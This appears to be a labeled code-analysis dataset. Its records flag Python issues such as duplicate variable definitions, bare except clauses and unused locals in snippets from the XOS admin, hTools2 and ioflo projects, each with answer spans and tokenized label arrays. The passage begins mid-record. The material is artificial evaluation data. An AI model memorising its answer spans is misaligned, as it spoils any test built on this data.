"uer", "re_", ",_", "assoc", "\\u", "lag", "uer", "re_", ",_", "ge", "gen", "ba", "uer", "_", ",_", "jac", "obi", "_", ",_", "jac", "obi", "\\u", "normalized_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "spherical", "\\u", "harmonic", "s_", "import_", "Y", "nm_", ",_", "Y", "nm", "\\u", "c_", ",_", "Z", "nm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "ellip", "tic", "\\u", "integral", "s_", "import_", "(_", "ellip", "tic", "\\u", "k_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ellip", "tic", "\\u", "f_", ",_", "ellip", "tic", "\\u", "e_", ",_", "ellip", "tic", "\\u", "pi_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "beta", "\\u", "functions_", "import_", "beta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "math", "ie", "u\\u", "functions_", "import_", "(_", "math", "ie", "us_", ",_", "math", "ie", "uc_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "math", "ie", "usp", "rime", "_", ",_", "math", "ie", "uc", "prime_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ln_", "=_", "log_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2 ]
Variable defined multiple times
open-cloud/xos/xos/core/admin.py
[ { "content": " def formfield_for_foreignkey(self, db_field, request, **kwargs):\n if db_field.name == 'slice':\n kwargs['queryset'] = Slice.select_by_user(request.user)\n\n return super(InstanceAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)", "metadata": "root.InstanceAdmin.formfield_for_foreignkey", "header": "['class', 'InstanceAdmin', '(', 'XOSBaseAdmin', ')', ':', '___EOS___']", "index": 1544 }, { "content": " def formfield_for_foreignkey(self, db_field, request=None, **kwargs):\n if db_field.name == 'deployment':\n kwargs['queryset'] = Deployment.select_by_acl(request.user).filter(\n sitedeployments__nodes__isnull=False).distinct()\n kwargs['widget'] = forms.Select(\n attrs={'onChange': \"instance_deployment_changed(this);\"})\n if db_field.name == 'flavor':\n kwargs['widget'] = forms.Select(\n attrs={'onChange': \"instance_flavor_changed(this);\"})\n\n field = super(InstanceAdmin, self).formfield_for_foreignkey(\n db_field, request, **kwargs)\n\n return field", "metadata": "root.InstanceAdmin.formfield_for_foreignkey", "header": "['class', 'InstanceAdmin', '(', 'XOSBaseAdmin', ')', ':', '___EOS___']", "index": 1596 }, { "content": "class NetworkAdmin(XOSBaseAdmin):\n list_display = (\"backend_status_icon\", \"name\", \"subnet\", \"ports\", \"labels\")\n list_display_links = ('backend_status_icon', 'name', )\n readonly_fields = (\"subnet\", )\n inlines = [NetworkParameterInline, NetworkPortInline,\n NetworkSlicesInline, RouterInline]\n admin_inlines = [ControllerNetworkInline]\n\n form = NetworkForm\n\n fieldsets = [\n (None, {'fields': ['backend_status_text', 'name', 'template', 'ports', 'labels',\n 'owner', 'guaranteed_bandwidth', 'permit_all_slices',\n 'permitted_slices', 'network_id', 'router_id', 'subnet_id',\n 'subnet', 'autoconnect'],\n 'classes':['suit-tab suit-tab-general']}),\n (None, {'fields': ['topology_parameters', 'controller_url', 'controller_parameters'],\n 'classes':['suit-tab suit-tab-sdn']}),\n ]\n\n readonly_fields = ('backend_status_text', )\n user_readonly_fields = ['name', 'template', 'ports', 'labels', 'owner', 'guaranteed_bandwidth',\n 'permit_all_slices', 'permitted_slices', 'network_id', 'router_id',\n 'subnet_id', 'subnet', 'autoconnect']\n", "metadata": "root.NetworkAdmin", "header": "['module', '___EOS___']", "index": 2092 }, { "content": "class PortAdmin(XOSBaseAdmin):\n list_display = (\"backend_status_icon\", \"id\", \"ip\")\n list_display_links = ('backend_status_icon', 'id')\n readonly_fields = (\"subnet\", )\n inlines = [NetworkParameterInline]\n\n fieldsets = [\n (None, {'fields': ['backend_status_text', 'network', 'instance', 'ip', 'port_id', 'mac'],\n 'classes':['suit-tab suit-tab-general']}),\n ]\n\n readonly_fields = ('backend_status_text', )\n suit_form_tabs = (('general', 'Port Details'), ('netparams', 'Parameters'))", "metadata": "root.PortAdmin", "header": "['module', '___EOS___']", "index": 2148 } ]
[ { "span": "formfield_for_foreignkey(", "start_line": 1544, "start_column": 8, "end_line": 1544, "end_column": 32 }, { "span": "readonly_fields ", "start_line": 2095, "start_column": 4, "end_line": 2095, "end_column": 19 }, { "span": "readonly_fields ", "start_line": 2151, "start_column": 4, "end_line": 2151, "end_column": 19 } ]
[ { "span": "formfield_for_foreignkey(", "start_line": 1596, "start_column": 8, "end_line": 1596, "end_column": 32 }, { "span": "readonly_fields ", "start_line": 2112, "start_column": 4, "end_line": 2112, "end_column": 19 }, { "span": "readonly_fields ", "start_line": 2159, "start_column": 4, "end_line": 2159, "end_column": 19 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Insta", "nce", "Admin_", "(_", "XO", "SB", "ase", "Admin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "formfi", "eld", "\\u", "for", "\\u", "foreign", "key_", "(_", "self_", ",_", "db", "\\u", "field_", ",_", "request_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "db", "\\u", "field_", "._", "name_", "==_", "'", "slice", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "querys", "et", "'_", "]_", "=_", "Slice_", "._", "select", "\\u", "by", "\\u", "user_", "(_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "super_", "(_", "Insta", "nce", "Admin_", ",_", "self_", ")_", "._", "formfi", "eld", "\\u", "for", "\\u", "foreign", "key_", "(_", "db", "\\u", "field_", ",_", "request_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Insta", "nce", "Admin_", "(_", "XO", "SB", "ase", "Admin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "formfi", "eld", "\\u", "for", "\\u", "foreign", "key_", "(_", "self_", ",_", "db", "\\u", "field_", ",_", "request_", "=_", "None_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "db", "\\u", "field_", "._", "name_", "==_", "'", "deploy", "ment", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "querys", "et", "'_", "]_", "=_", "Deployment", "_", "._", "select", "\\u", "by", "\\u", "acl_", "(_", "request_", "._", "user_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "site", "deployments", "\\u\\u", "nodes", "\\u\\u", "isnull_", "=_", "False_", ")_", "._", "distinct_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "[_", "'", "widget", "'_", "]_", "=_", "forms_", "._", "Select_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "attrs_", "=_", "{_", "'", "on", "Change", "'_", ":_", "\"", "instance", "\\u", "deploy", "ment", "\\u", "change", "d", "(", "this", ");\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "db", "\\u", "field_", "._", "name_", "==_", "'", "flavor", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "widget", "'_", "]_", "=_", "forms_", "._", "Select_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "attrs_", "=_", "{_", "'", "on", "Change", "'_", ":_", "\"", "instance", "\\u", "flavor", "\\u", "change", "d", "(", "this", ");\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "field_", "=_", "super_", "(_", "Insta", "nce", "Admin_", ",_", "self_", ")_", "._", "formfi", "eld", "\\u", "for", "\\u", "foreign", "key_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "field_", ",_", "request_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Network", "Admin_", "(_", "XO", "SB", "ase", "Admin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "\\u", "display_", "=_", "(_", "\"", "back", "end", "\\u", "status", "\\u", "icon", "\"_", ",_", "\"", "name", "\"_", ",_", "\"", "subnet", "\"_", ",_", "\"", "port", "s", "\"_", ",_", "\"", "labels", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "display", "\\u", "links_", "=_", "(_", "'", "back", "end", "\\u", "status", "\\u", "icon", "'_", ",_", "'", "name", "'_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "only", "\\u", "fields_", "=_", "(_", "\"", "subnet", "\"_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inlines_", "=_", "[_", "Network", "Parameter", "Inline_", ",_", "Network", "Port", "Inline_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Network", "Slice", "s", "Inline_", ",_", "Route", "r", "Inline_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "\\u", "inlines_", "=_", "[_", "Controlle", "r", "Network", "Inline_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "form_", "=_", "Network", "Form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fieldsets_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "None_", ",_", "{_", "'", "fields", "'_", ":_", "[_", "'", "back", "end", "\\u", "status", "\\u", "text", "'_", ",_", "'", "name", "'_", ",_", "'", "template", "'_", ",_", "'", "port", "s", "'_", ",_", "'", "labels", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "owner", "'_", ",_", "'", "guaran", "tee", "d\\u", "bandwi", "dth", "'_", ",_", "'", "permit", "\\u", "all", "\\u", "slice", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permit", "ted", "\\u", "slice", "s", "'_", ",_", "'", "network", "\\u", "id", "'_", ",_", "'", "router", "\\u", "id", "'_", ",_", "'", "subnet", "\\u", "id", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ",_", "'", "autocon", "nect", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "classe", "s", "'_", ":_", "[_", "'", "suit", "-", "tab", " ", "suit", "-", "tab", "-", "genera", "l", "'_", "]_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "None_", ",_", "{_", "'", "fields", "'_", ":_", "[_", "'", "topo", "log", "y", "\\u", "parameter", "s", "'_", ",_", "'", "controlle", "r", "\\u", "url", "'_", ",_", "'", "controlle", "r", "\\u", "parameter", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "classe", "s", "'_", ":_", "[_", "'", "suit", "-", "tab", " ", "suit", "-", "tab", "-", "sdn", "'_", "]_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "read", "only", "\\u", "fields_", "=_", "(_", "'", "back", "end", "\\u", "status", "\\u", "text", "'_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "read", "only", "\\u", "fields_", "=_", "[_", "'", "name", "'_", ",_", "'", "template", "'_", ",_", "'", "port", "s", "'_", ",_", "'", "labels", "'_", ",_", "'", "owner", "'_", ",_", "'", "guaran", "tee", "d\\u", "bandwi", "dth", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permit", "\\u", "all", "\\u", "slice", "s", "'_", ",_", "'", "permit", "ted", "\\u", "slice", "s", "'_", ",_", "'", "network", "\\u", "id", "'_", ",_", "'", "router", "\\u", "id", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "\\u", "id", "'_", ",_", "'", "subnet", "'_", ",_", "'", "autocon", "nect", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Port", "Admin_", "(_", "XO", "SB", "ase", "Admin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "\\u", "display_", "=_", "(_", "\"", "back", "end", "\\u", "status", "\\u", "icon", "\"_", ",_", "\"", "id", "\"_", ",_", "\"", "ip", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "display", "\\u", "links_", "=_", "(_", "'", "back", "end", "\\u", "status", "\\u", "icon", "'_", ",_", "'", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "only", "\\u", "fields_", "=_", "(_", "\"", "subnet", "\"_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inlines_", "=_", "[_", "Network", "Parameter", "Inline_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fieldsets_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "None_", ",_", "{_", "'", "fields", "'_", ":_", "[_", "'", "back", "end", "\\u", "status", "\\u", "text", "'_", ",_", "'", "network", "'_", ",_", "'", "instance", "'_", ",_", "'", "ip", "'_", ",_", "'", "port", "\\u", "id", "'_", ",_", "'", "mac", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "classe", "s", "'_", ":_", "[_", "'", "suit", "-", "tab", " ", "suit", "-", "tab", "-", "genera", "l", "'_", "]_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "read", "only", "\\u", "fields_", "=_", "(_", "'", "back", "end", "\\u", "status", "\\u", "text", "'_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "suit", "\\u", "form", "\\u", "tabs_", "=_", "(_", "(_", "'", "genera", "l", "'_", ",_", "'", "Port", " ", "Det", "ail", "s", "'_", ")_", ",_", "(_", "'", "net", "params", "'_", ",_", "'", "Parameter", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
gferreira/hTools2/Lib/hTools2/modules/sysutils.py
[ { "content": "def in_FontLab():\n try:\n import FL\n in_FL = True\n except:\n in_FL = False\n return in_FL", "metadata": "root.in_FontLab", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def in_RoboFont():\n try:\n import mojo\n in_RF = True\n except:\n in_RF = False\n return in_RF", "metadata": "root.in_RoboFont", "header": "['module', '___EOS___']", "index": 24 }, { "content": "def in_DrawBot():\n try:\n import drawBot\n in_DB = True\n except:\n in_DB = False\n return in_DB", "metadata": "root.in_DrawBot", "header": "['module', '___EOS___']", "index": 32 }, { "content": "def in_NodeBox():\n try:\n import _ctx\n in_NB = True\n except:\n in_NB = False\n return in_NB", "metadata": "root.in_NodeBox", "header": "['module', '___EOS___']", "index": 40 } ]
[ { "span": "except:", "start_line": 20, "start_column": 4, "end_line": 20, "end_column": 11 }, { "span": "except:", "start_line": 28, "start_column": 4, "end_line": 28, "end_column": 11 }, { "span": "except:", "start_line": 36, "start_column": 4, "end_line": 36, "end_column": 11 }, { "span": "except:", "start_line": 44, "start_column": 4, "end_line": 44, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "in", "\\u", "Font", "Lab", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "FL", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "FL", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "FL", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "in", "\\u", "FL", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "in", "\\u", "Rob", "o", "Font_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "mo", "jo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "RF", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "RF", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "in", "\\u", "RF", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "in", "\\u", "Draw", "Bot_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "draw", "Bot_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "DB_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "DB_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "in", "\\u", "DB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "in", "\\u", "Node", "Box_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "\\u", "ctx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "NB_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "NB_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "in", "\\u", "NB_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ioflo/ioflo/ioflo/aio/http/test/test_clienting.py
[ { "content": " def testNonBlockingRequestEcho(self):\n \"\"\"\n Test NonBlocking Http client\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestEcho.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6101\n method = u'GET'\n path = u'/echo?name=fame'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /echo?name=fame HTTP/1.1',\n b'Host: 127.0.0.1:6101',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n while response.parser:\n response.parse()\n\n response.dictify()\n\n 